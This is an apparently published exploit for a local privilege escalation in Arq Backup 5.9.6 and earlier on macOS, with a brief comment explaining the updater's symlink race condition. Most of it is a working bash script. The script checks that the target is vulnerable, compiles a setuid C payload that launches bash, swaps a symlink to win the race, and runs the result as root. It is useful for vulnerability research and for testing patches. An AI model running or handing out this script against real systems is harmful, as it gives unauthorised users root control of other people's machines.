Arq 5.9.6 – Local Privilege Escalation
# Arq Backup from Haystack Software is a great application for backing up macs and # windows machines. Unfortunately versions of Arq for mac before 5.9.7 are # vulnerable to a local root privilege escalation exploit. # The updater binary has a "setpermissions" function which sets the suid bit and # root ownership on itself but it suffers from a race condition that allows you to # swap the destination for these privileges using a symlink. # We can exploit this to get +s and root ownership on any arbitrary binary. # Other binaries in the application also suffer from the same issue. # This was fixed in Arq 5.9.7. # https://m4.rkw.io/arq_5.9.6.sh.txt # 49cc82df33a3e23245c7a1659cc74c0e554d5fdbe2547ac14e838338e823956d # ------------------------------------------------------------------------------ #!/bin/bash ################################################################## ###### Arq <= 5.9.6 local root privilege escalation exploit ###### ###### by m4rkw - https://m4.rkw.io/blog.html #### ################################################################## vuln=`ls -la /Applications/Arq.app/Contents/Library/LoginItems/\ Arq\ Agent.app/Contents/Resources/arq_updater |grep 'rwsr-xr-x' \ |grep root` cwd="`pwd`" if [ "$vuln" == "" ] ; then echo "Not vulnerable - auto-updates not enabled." exit 1 fi cat > arq_596_exp.c <<EOF #include <unistd.h> int main() { setuid(0); seteuid(0); execl( "/bin/bash","bash","-c","rm -f $cwd/arq_updater;/bin/bash", NULL ); return 0; } EOF gcc -o arq_596_exp arq_596_exp.c rm -f arq_596_exp.c ln -s /Applications/Arq.app/Contents/Library/LoginItems/\ Arq\ Agent.app/Contents/Resources/arq_updater ./arq_updater setpermissions &>/dev/null& rm -f ./arq_updater mv arq_596_exp ./arq_updater i=0 timeout=10 while : do r=`ls -la ./arq_updater |grep root` if [ "$r" != "" ] ; then break fi sleep 0.1 i=$((i+1)) if [ $i -eq $timeout ] ; then rm -f ./arq_updater echo "Not vulnerable" exit 1 fi done ./arq_updater |